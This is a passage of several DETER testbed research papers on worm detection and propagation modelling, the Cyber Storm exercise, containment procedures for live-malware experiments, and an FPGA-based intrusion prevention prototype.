qualities of the local end-host IDS’s because the distributed 
SHT decisions are made based on these parameters.  

We want to determine the effect of various local end-host 

IDS rates on decision time and infection rates. Thus, we have 
n experiments to run against this worm; one for each false 
positive parameter. We again repeat this experiment 20 times 
to reduce the effects of random fluctuations. 

The results from a typical worm attack experiment are 
shown in Figure 4 The percentage of vulnerable machines 
infected is shown plotted as a function of time and exhibits the 
characteristic s-curve infection profile. In this example, the 
decision table is constructed using a 10% false alarm rate. At 

this rate, a worm decision is reached at 14 seconds after the 
launch of the attack with 32% of the vulnerable nodes already 
infected. Since the local end-host IDS in this case is rather 
poor, a decision isn’t reached until relatively late in the 
infection profile.  

Network traffic overhead

Detection times and percentages of infected hosts from all 
experiments were collected and are shown plotted together in 
Figure 5 We notice that the number of members infected 
before detection increases with decreasing quality of end-node 
detectors. While poorer quality local end-host detectors don’t 

0

10

20

30

40

50

60

70

0 5 10 15 20 25

# 
of

 m
es

sa
ge

s

# of simultaneous false alarms

Quality of IDSs
1%
3%
5%

10%
20%

0

20

40

60

80

100

0 5 10 15 20 25 30 35
%

 o
f 
vu

ln
e
ra

b
le

s 
in

fe
ct

e
d

Time(s)

Sample worm and detection (IDS fp rate = 10%)

Worm detected

Random Scanning worm 1 scan/s

Figure 4: Typical results from one worm experiment 
showing the percentage of infected nodes vs. time since 
worm launch. The point at which the distributed SHT 
generated a global worm alarm is also indicated. 

Figure 3: Total number of messages required before 
distributed SHT reaches a decision. 
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Figure 5: Results from all worm experiments 
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 5

necessarily lead to larger problems with respect to false 
alarms, they have a significant impact on the global 
distributed SHT detector’s ability to quickly detect worms 
before unacceptable numbers of vulnerable nodes have been 
compromised. Since the global distributed SHT must be more 
tolerant to low false alarm alert levels it also cannot trigger on 
low levels of real worm alerts. 
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Abstract

We extend the KMSim worm model to cover the self-
destructing or removal/death behavior of worms. We
also report our experience of running worm emulation
experiments on a clustered network testbed (DETER).
The insights we gained and the lessons we learned in
doing worm experiments will be valuable to a vari-
ety of enterprise network worm-recreation and defense-
evaluation research.

1. Introduction

Numerous mathematical models have been pro-
posed to study the worm propagation on the Internet or
hypothetical networks, many based on epidemics mod-
els of biology [5]. Simulation and emulation are also
used extensively in studying the propagation and other
behavior of worms. The fidelity of emulation is high-
est compared with numerical analysis and simulation.
To balance the fidelity and scalability, various hybrid
approaches have been proposed, including the combi-
nation of emulation and simulation, simulation with
scaling-down, etc. All these efforts have an urgent need
on worm experiment methodologies for evaluation and
validation.

The research reported in this article is motivated by
two research urgencies: worm modeling and emulation
methodology. We first extend the KMSim model [4]
to account for the self-destructing behavior of worms,
a special characteristic manifested in the Witty and
Blaster worms. We also report our experience in emu-
lating TCP and UDP worms using a virtual node frame-
work together with UDP packet/message exchange on
the testbeds. The Blaster worm emulation results and
the visualization tools are presented.

∗This work is supported by both the NSF and DHS of the United
States under NSF grant number 0335241.

2. Worm Modeling

In [4], we presented the first version of KMSim
model, which is a variation of Kermack-McKendrick
mathematical model [2] that could account for the
access-link saturation caused by worm’s scanning traf-
fic. The first model only covers the susceptible-infected
half cycle of the general SIR (susceptible-infected-
removal) worm model. The dynamics given at the end
of Section 3 of [4] can be generalized to account for
“removals/deaths” by modifying:

dy j,i/dt −= δiy j,i (1)
dy j,i−1/dt + = δiy j,i (2)

where y j,i is the number of group- j enterprises at
infection-level i, and the removal/death rate is δ > 0
and δi ≡ iδ .

We added a removal module into the KMSim simu-
lation program according to the modified mathematical
model. Using this updated KMSim simulation program
we run a simulation of the Witty worm. We study the
Witty worm for its marked self-destructive behavior and
well-documented propagation trace so we can compare
our simulation results with them.

We took from the CAIDA Witty trace [1] and set
the maximum number of the susceptible hosts to be
12,000. To make the simulation simple, we set the num-
ber of enterprise groups j to be 1 and the maximum
number of infection level C(1) is set to be 4. Based
on [1], we decided to set the enterprise network scan
speed to be linearly distributed between 1800pps and
2400pps, which correspond respectively to the case of
one single infective and that of full infection. For re-
moval/death rate, we tried a number of different rate
values and chose one whose simulation result fit best
with the trace data.

The simulation results were drawn together with
the actual infection data reported by CAIDA. Simula-
tion results are showed in the Figure 1. We did two
adjustments to make the simulation better fit the actual
Witty trace. The first was to incorporate the decreasing
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effective scan phenomenon and increase the scan speed
relatively. The second was to use a dynamic worm death
rate parameter.

Using the same method, we ran the simulation of
Blaster. For the sake of space, the Blaster simulation
results are omitted here.

3. Testbed Emulation Set-up And Virtual
Node Design

A network testbed provides a simulation and emu-
lation platform with the highest level of flexibility and
fidelity in term of hardware and network configurations,
code compatibility, and network metrics. In [3], we
reported our virtual node approach to leverage limited
testbed resources to emulate worm propagation in a
large enterprise network. The general method and steps
of running a testbed emulation experiment is briefly re-
viewed here.

3.1. Setup an Experiment Using the ESVT Tool

The ESVT GUI tool provides an integrated envi-
ronment to conduct an interactive worm or other net-
work experiment on a testbed. It is a component based
topology editor, NS2/TCL script generator, worm ex-
periment designer, and a visualization tool of experi-
mental results.

3.2. Our Virtual Node Design

Employing a one-to-one emulation approach en-
tails substantial resources that a normal testbed can-
not support. In [3], we compared our virtual node de-
sign with other kinds of virtualization methods such as
VMWare and Emulab VM and concluded that the per-

formance of the virtual node design in realistic LAN
simulation is comparable with the all-real-node sce-
nario, while consuming much fewer resources than
other virtualization approaches. Our virtual node em-
ulation approach includes using a virtual node applica-
tion to simulate a peripheral LAN, address mapping be-
tween virtual address and testbed address, traffic shap-
ing for the virtual LAN and background traffic genera-
tion, and the design of the Internet Scan Injector based
on our KMSim simulation results.

4. Blaster Emulation

In this section, we present our testbed experiment
which used UDP to emulate the TCP based Blaster
worm and the results.

4.1. Using UDP to Emulate the Blaster Worm

We are interested in how the worm spreads itself
in a typical enterprise network by means of target se-
lection, stealth or rapid scanning, i.e., an emphasis on
the propagation. For such purposes, the emulation of
Blaster using UDP packet exchange is appropriate and
sufficient to get the data we want. Using UDP also
makes the design of the virtual node program easier be-
cause we can inherit the existing design and make fewer
changes.

But to maintain or replay the salient features of the
Blaster worm, involving scanning sequentially from an
initial IP, we had to craft both the source (scanning) IPs
and the destination IPs carefully. The number of scan-
ners and the scan rate of each scanner per time cycle
were adjusted based on the input of KMSim simulation
results. If the target IP address of any active scanner
went outside the address space of the enterprise net-
work, that scanner was removed from the scanner ta-
ble and a new one would be generated with the source
IP chosen randomly from the IPv4 space and an initial
target IP chosen randomly from the /16 address space.

Our 1000-node experimental topology included six
internal routers, one central switch, and one border
switch. The actual testbed resource utilization and
topology view can be seen in Figure 2.

We configured the emulation to run for 600 sec-
onds, and chose the data window between the 89400th
second and the 90000th second from the simulation re-
sult as the scanning data feed for the Internet scan in-
jection program.



Figure 2. Experiment Topology Viewed in DE-
TER

Figure 3. Blaster’s propagation in the enter-
prise network

4.2. Discussion on the Infection and Traffic

We had run the same 10-minute experiment for a
number of times and the extent of worm propagation
varied. The rate of scanning from the Internet interface
node s was about 6 scans per second per source IP, and
the average number of simultaneously scanning IP n is
3. The total scan attempts in the 600 second experiment
from the Internet was 6 ∗ 3 ∗ 600 = 10800. So it is not
surprising if the experiment resulted in no infection in
the /16 network. But once one susceptible host was in-
fected, its neighbors would likely be infected as well
and itself would begin sending scanning traffic rapidly.
That was the case for the experiment from which the
data in Figure 3 came.

From Figure 3, we see that the first infection hap-
pened at about the 11th second, and at the 300th second,
about 83% percent of total susceptible hosts were all in-

fected. The majority of them were infected between the
120th second and the 180th second.

4.3. Placement of Dark Address Scan Detector

In our enterprise emulation experiment, we config-
ured two virtual nodes to simulate the (/24) honeypots
that passively gather scanning traffic from both outside
and inside. Our experience from the experiments shows
that monitoring only segments of the network is not an
effective way for early enterprise worm detection. The
placement of such dark address scan monitors is impor-
tant: unless they are placed at every LAN segment or
effectively all the scanning traffic is redirected to them
with the help of other devices, it is not as valuable and
cannot be solely relied upon for early detection.

5. Summary

In this article, we review and extend the bandwidth-
limited worm model KMSim to incorporate the re-
moval/death behavior of worms. Also in this paper,
we describe our experience of running worm emulation
experiments on a clustered network testbed–DETER
based on Emulab. One case study of Blaster enterprise
network propagation and its results are reported to illus-
trate the potential strength of testbed emulation.
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The DETER usage model is to 

provide a large-scale physical testbed with 
advanced simulation and emulation abilities 
that allows analysts to rapidly build network 
attack scenarios that support technical 
experimentation.  The U.S. government 
sponsored national cyber security exercise, 
Cyber Storm, conducted by the Department 
of Homeland Security (DHS) 6-10 February 
2006, provided an opportunity to 
demonstrate these DETER capabilities to an 
extended community of cyber security 
stakeholders. The Cyber Storm experience 
provided insight into simulation requirements 
for national scale exercises and provides 
opportunities to expand the scope of 
DETER’s current experimentation 
objectives. 
 
Cyber Storm Overview 
 
Cyber Storm was the first government-led, 
full-scale, national level cybersecurity 
exercise of its kind. In fulfilling requirements 
of the DHS National Response Plan’s (NRP) 
cyber annex, the exercise was conducted to 
assess preparedness, coordination, and 
recovery mechanisms in response to a 
simulated cyber event that would effect the 
operations of international, federal, and state 
governments as well as the private sector, 
and to identify where further planning and 
process improvement may be needed.    

Over 100 public, private, and 
international agencies, organizations, and 
companies were involved in Cyber Storm.  
Participants included representatives from 
the public sector (federal and state 
agencies), private firms from the information 
technology, telecommunications, energy, 
and transportation sectors (who were 
selected in consultation with their respective 
Industry Information Sharing and Analysis 
Centers (ISACs), and sector-specific 
agencies), and select international 
government partners. 

The Cyber Storm scenario 
simulated a large-scale cyber incident that 
disrupted multiple critical infrastructure 
elements, primarily within the energy, IT and 
transportation, and telecommunications 

sectors. The exercise proceeded by 
stimulating message exchanges that 
described the effects of sophisticated cyber 
attacks. The progress of attack impact was 
presented through a series of scenario 
events that manifest problems directed 
against critical infrastructures and 
participating agencies. The intent of these 
scenarios was to highlight the 
interdependencies between cyber systems 
and physical infrastructures and to exercise 
coordination procedures across the public 
and private sectors as the have been 
planned to occur during crisis conditions. 
 
Cyber Storm Objectives 
 
 DHS sought to achieve the following 
outcomes through conduct of the exercise: 
 
• Challenge players to identify policies 

and procedures required for sharing 
information with groups internal and 
external to their organization, such as 
across federal and state departments, 
private organizations and across 
international borders. This required 
players to determine what information 
should be shared with which 
organization and at what time.   

 
• Exercise interagency coordination via 

standard operating procedures, 
communications and decision support 
mechanisms, initiated through the 
activation of the National Cyber 
Response Coordination Group 
(NCRCG) and the Interagency Incident 
Management Group (IIMG). 

 
• Exercise inter-governmental 

(international) and intra-governmental 
(federal-state) coordination and incident 
response.  

 
• Identify policies/issues to determine if 

they either hinder or support cyber 
security requirements. 

 
• Identify public/private communications 

interfaces and thresholds of 
coordination in order to improve cyber 
incident response and recovery, as well 
as identify critical information sharing 
paths and mechanisms 

 



• Identify, improve, and promote public 
and private sector interaction in 
processes and procedures for 
communicating appropriate information 
to key stakeholders and the public. 

 
• Identify cyber physical interdependence 

of infrastructure of real world economic 
and political impact. 

 
• Raise awareness of the economic and 

national security impacts associated 
with a significant cyber incident. 

 
• Highlight available tools and technology 

having analytical cyber incident 
response and recovery capability.  
 
It was this last objective that was most 

compelling in organizing representatives 
from the DETER community to participate in 
Cyber Storm. 
 
DETER Objectives for Cyber Storm 
 

In close coordination with DETER’s 
government sponsors in planning for 
DETER participation during Cyber Storm, 
the following objectives were identified and 
pursued: 

• Demonstrate the development of 
tactical and strategic analysis of 
cyber attacks and vulnerability 
assessments.  

• Lead in the development and 
conduct of a national threat 
assessment including red teaming, 
blue teaming, and other methods to 
identify the impact of possible 
attacks on a variety of targets.  

• Coordinate progress of DETER 
research and development among 
academia, industry and government. 

• Provide realistic referential data for 
exercise participants, and a “god’s-
eye” view for exercise controllers by 
using DETER Experimenter’s 
Workbench capability. 

• Demonstrate ability to realistically 
simulate a notional government 
agency’s infrastructure to help 
achieve exercise objectives. 

• Demonstrate Ability to Model 
Multiple Concurrent Attacks on 
Multiple Networks. 

• Feature DETER as a unique 
analytical capability that can be 
used to support cyber incident 
response and recovery.  

• Use DETER capture and playback 
features to enhance after action 
reviews and reinforce the exercise 
evaluation process. 

 
DETER Deployment in Cyber Storm 
 
During the exercise, DETER was applied for 
scenario event-thread modeling. Event-
threads are a sequence of scenario events 
that have a common seed event.  During 
Cyber Storm, these event threads were 
introduced as the onset of a cyber-attack, 
which eventually matures (over a number of 
events) to present a significant threat to 
network operations. We developed seven 
event thread models during the course of 
the exercise. 
 
Modeling event threads was done to add 
realism for role players and exercise 
controllers and to highlight potential for use 
of DETER in predictive analysis and in-situ 
course of action development. Using a 
sequence of DETER experiments, we 
distributed DETER output in .wmv format 
(Windows Media Player video format, 
captured with Tech Smith’s Camtasia Studio 
software) via email to the respective 
exercise role-players, to graphically depict 
what the effects of the attack might look like 
if the role player were observing these 
events through net management tool 
interfaces (e.g., Openview, Spectrum, 
Unicenter, Tivoli etc).   
 
To produce event thread models we 
executed the following steps: 
 
(1) Organize the event threads by filtering 
the scenario-event database 
(2) Describe an attack sequence that 
approximates the desired event effects 
(3) Run a series of experiments that process 
the attack configurations over non-specific 
intervals to capture (using Camtasia tool) 
the effects on a representative, notional 
topology and statistical graphic outputs now 
capable within DETER 
(4) in order to be able to distribute thread 
models to role players, we needed to  edit 
the resulting windows media video file so it 



would fall under the attachment size 
constraints enforced by the respective email 
gateways (roughly 1 MB uncompressed for 
~ 1 min of .wmv; most files were under 2.5 
MB)  
(5) Send to the appropriate exercise 
controller for distribution or other use. (this 
was to insure that a single controller 
maintained responsibility over all activity for 
a given event). 
 
DETER Contributions to Cyber Storm 
Achievements  
 
DETER played a key supporting role by 
augmenting exercise management control 
activities. The realism provided through 
DETER emulation was harnessed by the 
exercise management staff to reinforce 
scenario events during the exercise and to 
sustain the after action review process upon 
the exercise completion.  
 
The Cyber Storm after action review process 
utilized DETER attack playback capability to 
guide the discussion of key observations.  
This was a very practical and extremely 
useful application of DETER to enhance the 
exercise assessment and feedback 
processes. 
 
DETER’s participation in Cyber Storm 
demonstrated the applicability of DHS S&T 
and National Science Foundation jointly 
sponsored technologies for modeling the 
impact of hypothetical cyber attacks.  
 
DETER simulation provided a realistic 
backdrop in which to evaluate policy, 
practice, and procedures. 
 
Cyber Storm was a significant transition 
milestone for the technologies being 
developed within the DETER testbed. The 
DHS S&T and NSF experience in Cyber 
Storm will likely produce the future transfer 
of technologies from research and 
development, to operational integration and 
deployment of tools that can enhance the 
effectiveness of national-level cyber attack 
analysis and response. 
 
DETER’s positive impact in Cyber Storm 
encourages the deliberate inclusion of 
technology experimentation activity within 

the framework of future cyber security 
exercises.   
 
Future Considerations 
 
DETER participation in large-scale 
operational demonstrations and exercise 
may provide opportunities to conduct R&D 
activities that may not easily be availed 
through normal application.  While the 
primary focus of DETER activity centers on 
experimentation support for network security 
technology R&D objectives, the concurrent 
collateral application of mature DETER 
features to other communities of interest 
should be promoted and pursued.  In 
addition to providing different R&D 
opportunities, this also helps advertise 
DETER to a community of stakeholders who 
may not be cognizant of DETER capability, 
provides new perspectives for the DETER 
community, helps to promote the sponsor’s 
research programs, while providing valuable 
support toward achieving the exercise 
director’s objectives.  
 
Conclusion 
 
Ideally, DETER’s experience in Cyber Storm 
may open doors to other engagements with 
new stakeholders and application domains. 
It is important to understand the positive, as 
well as the potentially negative 
consequences that increased awareness in 
DETER capability by a broader audience 
may bring to the DETER community, and to 
communicate both the concerns and 
potential opportunities to project sponsors.   
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ABSTRACT 

An important goal of the DETER testbed is to 
provide a safe environment for testing security 
software.  Effective testing of security systems, 
software, and architectures require a realistic 
environment within which the tests are 
performed.  When considering security, tested 
systems must be subjected to realistic attacks. 
Some attacks can be realistically tested using 
synthetic attack generators. Studying the 
behavior of other attacks can be done by using 
traces. Many worms can be studied using 
emulated attacks that target special hosts with 
behavior modeled on what is known about a 
worm.  Unfortunately in cases where little is 
known about a worm, effective testing can 
require subjecting a system to the live malicious 
code itself, and it is such malware that poses the 
greatest threat to breaching containment of a 
testbed such as DETER. This paper describes 
our experience running live malicious code on 
the DETER testbed.   
 

1. INTRODUCTION 

The DETER [1] testbed was deployed to support 
medium-scale repeatable experiments in 
computer security, especially those experiments 
that involve malicious code.  The DETER 
testbed is implemented as an Emulab [2] cluster, 
using the cluster testbed control package 
developed by at the University of Utah. 
 
We recently ran our first experiment on DETER 
with live malware. Our findings will now be 
applied to improve both the security of the 
DETER testbed, and to increase the ease with 
which experimenters can study such code in the 
future. 
 

2. GOALS OF OUR MALWARE EXPERIMENT 

In running our first experiment with self- 
propagating malicious code, we sought to force 
ourselves as testbed operators to put in place 
and exercise the protections necessary for 
running such code.  We wanted to choose a 
virus or worm that was well known, and to which 
defenses were long since deployed outside the 
testbed, in case our procedures failed 
containment.  We also wanted to run an 
experiment that would yield data that was useful 
to others, so that the experiment was not being 
run solely for the experiments sake. 
 
Our choice of malicious code was the Scalper 
worm [3], a worm that has been circulating on 
the Internet for several years, and for which 
most machines have already been patched.  As 
we learned when running the experiment (and 
which we will explain later), not only did this 
particular worm exploit vulnerabilities that had 
been patched in recent (and not so recent) 
versions of Apache, but recent changes to 
FreeBSD also made the self- propagation of the 
worm no longer viable. 
 
The goal of our experiment was to generate 
trace data for worm propagation which could 
then be scrubbed to remove the code of the 
worm itself.  Such a scrubbed trace could then 
be used by other DETER researchers in 
studying the worm, and their own defenses, 
while running their experiments in a mode that 
allowed greater remote interaction than would be 
allowed if the experiment were using live 
malware.  Because such traces are generated in 
a closed environment, absent any non-attack 
traffic generated by real users, such traces 
would not be subject to privacy protections that 
would apply to worm traces collected from ISPs. 



We envision that the procedures developed for 
this experiment will readily support a two-phased 
approach to experimenting with malicious code.  
Users will specify the information needed from 
worm traces, which are then collected with the 
testbed running in a more secure but less 
interactive mode.  The traces would then be 
scrubbed and made available for use by 
experimenters that require more remote 
interaction with their experiments. 
 

3. CONFIGURING AND SECURING THE  TESTBED  

The DETER testbed is already configured to 
provide significant containment and isolation for 
the experiments it runs.  These protections limit 
direct communication from the experiment to the 
external Internet. 
 
When running self-propagating code, additional 
protections are needed.  In particular, we have 
to protect against the escape of malicious code 
using testbed control nodes as relays, whether 
the relay is through DNS proxy, infection of 
users or boss, misconfiguration of the testbed, or 
by lying dormant on a machine that is 
subsequently reconnected when the experiment 
is complete. 
 
For the current experiment, we considered these 
requirements as if we knew little about the 
actions of which the worm we were working with 
was capable.  In practice, more will likely be 
known about the malicious code that runs and 
when this knowledge warrants, particular steps 
may be omitted to improve the ability of 
experimenters to interact with their experiment, 
or to ease the scheduling of the experiment so 
that the testbed can remain available to other 
users.  It is important that all these steps be 
imposed by default, and that an explicit decision 
is made to omit any of them – based on 
thorough understanding of the capabilities of the 
code to be studied. 
 
The following are the steps that we take when 
running malicious code: 
 

Steps taken at some point before running an 
experiment 
 
• Collect BIOS checksum of all nodes. 
• Collect checksums of disk firmware. 
• Collect checksums of switch firmware. 
• Collect BIOS checksum for other assets. 
• Disable writing of node BIOS. 
• Disable writing of disk BIOS. 
• Disable writing of switch BIOS. 
• Disable writing of BIOS for other assets. 

 
Steps taken before running each malware 
experiment 
 
• RSYNC to backup users and boss. 
• Power down backup machine. 
• Power down unused assets  
• Disconnect cable to outside switch. 
• Power done equipment for connection. 
• Test that no packets reach external interface. 

 
At this point, the malicious code experiment can 
be run.  When all containment mechanisms are 
in place, the experimenter must interact with the 
testbed through the console ports, or through a 
laptop plugged into the testbed through the 
disconnected external network connection, 
configured with a local host file. 

 
Steps taken following the running of each 
malware experiment 
 
• The data collected by the experiment must be 

moved to an external storage device that will not 
be attached to any network connected machine, 
and that drive is disconnected from the testbed. 
• If a laptop was used to manage the 

experiment, it must be completely zeroed before 
it is reconnect to the testbed, or to any other 
network. 
• Steps must be taken to post-process the 

collected data, removing any malicious code 
from traces or other artifacts.  These steps will 
be specific to the malware being studied. 
• Remove all experiment data from the users’ 

machine. 
• Zero the disks on all experimental nodes that 

were powered on during the experiment. 



• Recheck BIOS and other checksums for 
firmware and OS on all assets.  If change is 
detected, then take those devices offline until the 
problem is corrected. 
• Check tripwire on users and boss and restore 

from backup if problem is detected. 
• Check logs from intrusion detection systems 

on the control network and on the disconnected 
external interface to the testbed.  If unexpected 
traffic is observed, then remediate (e.g. if to or 
from users of boss, those machines may need to 
be restored from backup). 
• Reconnect the links and bring the testbed live 

for other users. 
 
Quarantine steps for unknown malware 
 
When running new malicious code whose 
behavior is unknown, it is recommended that the 
experiment should be run first on our mini-
testbed, using the procedures described already.  
Upon completion of the experiment, the mini-
testbed may be left disconnected for a day to 
observe any unexpected traffic.  Since the mini-
bed is idle at this time, any experiment traffic 
should be considered suspect. 
 

4. EXPERINCE WITH RUNNING MALWARE 

While running our experiment, we found that the 
downtime imposed on other users of the testbed 
was problematic.  In several cases, we had to 
delay running our experiment because of 
conference paper deadlines and testbed 
maintenance activities.  While we staged the 
experiment (sans malware) with the testbed 
connected – and did significant testing before we 
disconnected and introduced the malware, we 
were over-optimistic in expecting that we would 
run the experiment once and be done with it. 
 
Instead, what we found is probably good news: 
most malware is very picky about the 
environment within which it will run.  Our first 
couple of tries with real malware resulted in no 
self-propagation even within our experiment.  
Since malware had been introduced to the 
testbed, we had to undertake the cleanup steps 
before returning the testbed to operation. We 

needed to schedule several subsequent 
downtime events to complete our experiment, 
and we were concerned about how this was 
impacting the rest of our users. 
 
The problem turned out to be an OS issue:  the 
version of FreeBSD that we were using imposed 
constraints on the reassembly of TCP fragments 
that effectively and unintentionally blocked the 
transfer of the malware from the source host to 
the target host.  The Apache exploit occurred, 
but the code that then executed was unable to 
retrieve the worm itself. 
 
Another problem that we observed is that the 
worm bound a port on the control network 
address of the infected machine, rather than the 
address on the experimental network. 
 
Finally, when running the retrieved binary version 
of the worm (as opposed to the version we 
compiled from source code), our inability to 
determine the randomized scanning pattern for 
the worm forced us to suspend the worm, and 
manually reconfigure an experimental node to 
match the targeted address in order to observe 
the worm’s behavior.  This is not scalable, and 
we need to embed this functionality of honey 
nets into the testbed to better support such 
experiments in the future. 
 

5. RECOMMENDATIONS 

Our first recommendation is that smaller 
contained environments are needed to test 
malware experiments before they are introduced 
to the main DETER testbed so that we can be 
sure that the experiments will run in as few 
attempts as possible during the periods that we 
are forced to close the testbed to use by others. 
 
The initial tests of the experiment can be 
performed using a smaller number of nodes, 
initially, using VMware on a disconnected PC, 
and then graduating perhaps to use of one of 
DETER’s mini-testbeds, a testbed running on 
separate nodes that can be disconnected from 
the Internet and the rest of the testbed without 
impacting other users.  As it turned out, we 



ended up using VMware on an isolated machine 
to debug our experiment after the first failed 
attempt. 
 
We should add a Honeynet [5] function to the 
DETER testbed so that nodes can be 
dynamically configured to respond to addresses 
dynamically, based on the addresses generated 
by the malicious code.  This ability will be critical 
when running unknown worms whose scanning 
patterns are also not known.  This will result in 
more realistic outcomes that are less affected by 
failed attempts to infect nodes not within the 
DETER address space, but which might be 
vulnerable addresses on the external Internet. 
 
Finally, for certain known instances of malicious 
code, we need to modify our procedures to allow 
easier interaction with experiments from the 
outside and provide an ability to run the 
experiments concurrently with other DETER 
experiments while leaving in place the 
containment mechanisms needed to protect the 
testbed and the internet from the specific threats 
in the code. 
 

6. CONCLUSIONS 

Our first attempt to run live malicious code on 
the DETER testbed allowed us to exercise our 
containment techniques.  We found that the 
techniques proved to be effective for fairly 
innocuous malicious code.  We found that our 
procedures tended to create more downtime for 
other testbed users than is necessary, and we 
are working to improve our procedures to allow 
more effective remote and/or concurrent 
experiments on malicious code. 
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1 Overview

With colleagues we are pursuing research on developing a
combined hardware/software architecture,Shunting, that
provides a lightweight mechanism for an intrusion pre-
vention system (IPS) to take advantage of the “heavy-
tailed” nature of network traffic to offload work from soft-
ware to hardware [1]. Shunting uses a simple in-line hard-
ware element that maintains several large state tables in-
dexed by packet header fields. The tables yield decision
values the element makes on a packet-by-packet basis:
forward the packet, drop it, or divert it through the IPS. By
manipulating table entries, the IPS can specify the traffic
it wishes to examine, directly block malicious traffic, and
“cut through” traffic streams once it has had an opportu-
nity to “vet” them, all on a fine-grained basis.

We are in the midst of using the DETER testbed to eval-
uate our FPGA prototype, particularly as a platform for
testing correct operation at Gbps line rates. Thus, this ab-
stract describes work in progress rather than a complete
system.

We are using or have plans to use DETER for sev-
eral tests: throughput processing (Section 3), out-of-
order packet transitions (Section 4), verifying worst-cache
cache behavior (Section 5) and expected-case cache be-
havior (Section 6), and experiments with VLAN rewriting
(Section 7).

2 The Shunt Architecture

The Shunt (Figure 1) is designed as a simple hardware el-
ement that can serve to either offload a network intrusion
detection system or to convert a NIDS from a passive role

Shunt
Forward

Drop

Host

Shunt

Shim

Analyzer
Drop Packet Decision

Engine
Reinject

Fix DecisionFix Decision

Control

Status

Figure 1: Shunting Main Architecture

as adetector into an active role as an intrusionpreven-
tion system [1]. The Shunt’s efficacy is predicated on the
observation that for many forms of security analysis, the
great majority of the analysis can already be conducted
by inspecting a small fraction of the traffic. For example,
monitoring SSH traffic for policy compliance and pos-
sible attacks often often only needs to examine session
setup (e.g., to inspect the names of the certificates used,
confirm that encryption is successfully negotiated, and de-
tect password-guessing attacks) and final termination (to
log the volume of the transfer), along with perhaps a ran-
dom sample of the session’s interior traffic to observe the
connection’s rate and progress.1 Similarly, monitoring of
HTTP traffic doesn’t usually benefit from analyzing the
large volume of image or video downloads; nearly all of
the security-relevant content resides in request/response
headers and the body of HTML items.

The Shunt works by providing the NIDS with a hard-
ware network interface that can selectively route connec-
tions. The NIDS instructs the Shunt to associate for a

1Even though SSH is an encrypted protocol, the monitor can still
determine if the connection reflects password guessing, glean informa-
tion from packet timing and traffic volume, and perform analysis on a
per-system granularity.
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Figure 2: The Shunting Decision Process. For each
packet, we look up the source and destination IP ad-
dresses in the IP table, the connection tuple (after resolv-
ing “Low” vs. “High”) in the connection table, and the
flags and protocol in the Fixed Rules. We select the high-
est priority action, or, if no match, we shunt the packet to
the host.

given connection (5-tuple) or address an action:forward
the packet onward,drop the packet,divert (“shunt”) the
packet to the host, orsample the packet with a given
sampling scheme. There are also rules for packet header
fields (e.g., TCP SYNs) to support static filtering of con-
trol flags.

For each packet, the Shunt selects the highest prior-
ity match, or, if there is no match, shunts the packet to
the NIDS for evaluation (Figure 2). An additional option
enables a rule to only be valid for a range of sequence
numbers, allowing the NIDS to skip over predetermined
amounts of data.

This simple mechanism is quite powerful. It allows the
NIDS to act as an intrusion prevention system, as pack-
ets the NIDS examines are reinjected only after the NIDS
determines they are permissible. This allows the NIDS
to readily focus on only the traffic of high interest. For
example, the NIDS can easily examine the start of a file
transfer session and then, after determining that it is al-
lowable, set aforward action for that connection. Now
the NIDS no longer has to process those packets.

We have implemented the core of the Shunt on the
NetFPGA version 2 [5] research platform, except for se-
quence skipping and sampling. The NetFPGA version 2
contains 4 Gbps Ethernets coupled to a Xilinx Virtex 2
Pro FPGA, which resides on a PCI card in a Linux host.
Our evaluation of the prototype finds that the current im-
plementation should be able to process reasonable-sized
packets (� 110B) at Gbps line rate, and costing only

5 �sec of additional network latency.
We have configured a host system located in the Berke-

ley DETER testbed. Currently, the host is not part of the
DETER managed systems. Instead, the NetFPGA host
is a locked, standalone system with a custom version of
Fedora Core 3 installed, as well as a copy of Click and
assorted NetFPGA tools.

We are currently running this as a standalone system
because of driver issues with the NF2 board. Although it
is reasonable to install the drivers on the Fedora Core OS
image, we are using an initial standalone install to min-
imize risk in the current month, and as we are currently
the only user of the NF2 board currently in DETER, this
is not a handicap. In the future, we expect to modify the
Fedora OS image and bring the host node under full DE-
TER control.

Two of the NetFPGA ports are configured as usable de-
vices in DETER experiments (the other two are routed
through a switch for off-line testing). These ports are
on the same switch as the BPC3000 nodes, allowing the
BPC3000s to send and receive traffic through the NetF-
PGA board at line rate.

3 Throughput Testing

Our first test has been to runIperf [2] on two nodes, with
the NetFPGA system acting as a bridge.Iperf is a small
network benchmarking program consiingts of a client and
server. It is able to send packets at a set rate for UDP
benchmarking, as well as establishing TCP connections
through the network.

The NetFPGA bridge is using the Shunt and a small
test harness: the first packet in a connection gets routed
through Click [3] software, which installs a rule whitelist-
ing the connection. If subsequent packets are queued up
before this rule is put into place, those packets will also
be processed through the slow path.

As we have done previously, we use the data network
for a significant amount of our control traffic, including
creating SSH connections to configure hosts with new
software. By sending the traffic through the data network,
we incidentally double-check that the experiment is sup-
porting normal traffic even before beginning a run. (In
our previous work, this normal traffic discovered a signif-
icant oversight in our design, so we have maintained this
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practice.)
We operateIperf in UDP mode, as this gives us more

accurate statistics about drops and out-of-order packets,
rather than TCP mode, which simply sends at a maximum
rate.

Our initial testing has shown that the Shunt is effec-
tive up to 450 Mbps of traffic on a single link, rather than
the 1 Gbps which it should support. The problem appears
rooted in the input FIFO. There are in fact three symp-
toms, each only observable under load. The first is that the
first byte of a packet may be lost during a high load condi-
tion. The second is that the input FIFO can lock up, again
only under high load. Finally, it is uncertain whether the
Shim’s Verilog (FPGA programming) is properly execut-
ing at high data rates. We are actively investigating each
of these.

4 Out-of-Order Packets

One concern we have is that, if a high rate stream’s Shunt
entry gets evicted, when it is reinserted into the cache
there will be a significant burst of out-of-order packets.
TCP can be senitive to packets delivered out-of-order,
misinterpreting the duplicate ACKs generated by a suf-
ficiently large out-of-order batch of packets as indicating
a drop event.

Again, we can explore this behavior usingIperf. Iperf ’s
UDP mode reports the number of out-of-order packets ob-
served. By sending at the maximum rate that the board
can support, the first packets go through the host before
the cache entry is in place. At 450 Mbps, we see a to-
tal of 12 out-of-order packets. This suggests that a heavy
TCP stream which is falsely evicted from the cache would
likely experience a falsely inferred drop event when it is
reinserted into the cache.

We have considered, but not yet implemented, a Bloom
filter as a check to suppress out-of-order packets. This
would force the potential out-of-order packets through the
slow path, at least until a gap appears in the packet stream
which would allow the system to catch up and send the
pending packets.

Another option we are considering is to sample packets
at a low rate and using the smaples to drive an LRU cache
management scheme. These samples would flag high rate
connections which when the Shunt chooses which entry to

evict (it has choices due to the associativity of the caches
for the tables) it will select only as a last resort. This
is probably the better option, as it only fails if multiple
high-rate connections happen to map to the same cache
